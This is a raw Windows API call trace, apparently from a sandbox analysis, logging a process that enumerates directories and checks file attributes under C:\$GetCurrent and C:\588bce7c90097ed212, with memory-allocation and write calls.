	[0235.486] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1
	[0235.494] SetEvent (hEvent=0x124) returned 1
	[0235.494] WriteFile (in: hFile=0x0, lpBuffer=0xc000066240, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.494] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2)) returned 1
	[0235.504] SetEvent (hEvent=0x124) returned 1
	[0235.504] WriteFile (in: hFile=0x0, lpBuffer=0xc000066240, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.504] VirtualAlloc (lpAddress=0xc000194000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000194000
	[0235.505] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774)) returned 1
	[0235.512] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.512] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS" (normalized: "c:\\$getcurrent\\safeos"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.513] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS" (normalized: "c:\\$getcurrent\\safeos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.513] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0235.517] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.517] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0235.517] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0235.517] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x2a0f65a9, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0235.518] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x2a1a3a96, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0235.518] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x2a0db84d, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x233, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0235.518] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0235.518] VirtualAlloc (lpAddress=0xc000232000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000232000
	[0235.519] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0235.521] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0235.521] VirtualAlloc (lpAddress=0xc000234000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000234000
	[0235.522] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8)) returned 1
	[0235.572] WriteFile (in: hFile=0x0, lpBuffer=0xc000066240, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.572] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c)) returned 1
	[0235.584] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.585] VirtualAlloc (lpAddress=0xc000236000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000236000
	[0235.585] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x2a0f65a9, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x341)) returned 1
	[0235.585] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.586] WriteFile (in: hFile=0x0, lpBuffer=0xc000228060, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.586] SetEvent (hEvent=0xfc) returned 1
	[0235.586] VirtualAlloc (lpAddress=0xc000238000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000238000
	[0235.587] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x2a0db84d, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x233)) returned 1
	[0235.630] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.630] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.630] SetEvent (hEvent=0xe4) returned 1
	[0235.630] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x2a1a3a96, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x14a)) returned 1
	[0235.632] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.632] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0235.632] GetFileAttributesExW (in: lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.638] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0235.638] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212" (normalized: "c:\\588bce7c90097ed212"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0235.789] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebab0000
	[0235.813] VirtualAlloc (lpAddress=0xc000280000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000280000
	[0235.814] VirtualAlloc (lpAddress=0xc000282000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000282000
	[0235.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212" (normalized: "c:\\588bce7c90097ed212"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.815] VirtualAlloc (lpAddress=0xc000284000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000284000
	[0235.838] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0235.842] VirtualAlloc (lpAddress=0xc000286000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000286000
	[0235.843] VirtualAlloc (lpAddress=0xc000288000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000288000
	[0235.843] VirtualAlloc (lpAddress=0xc00028c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028c000
	[0235.844] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0235.845] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1
	[0235.846] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1
	[0235.847] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1
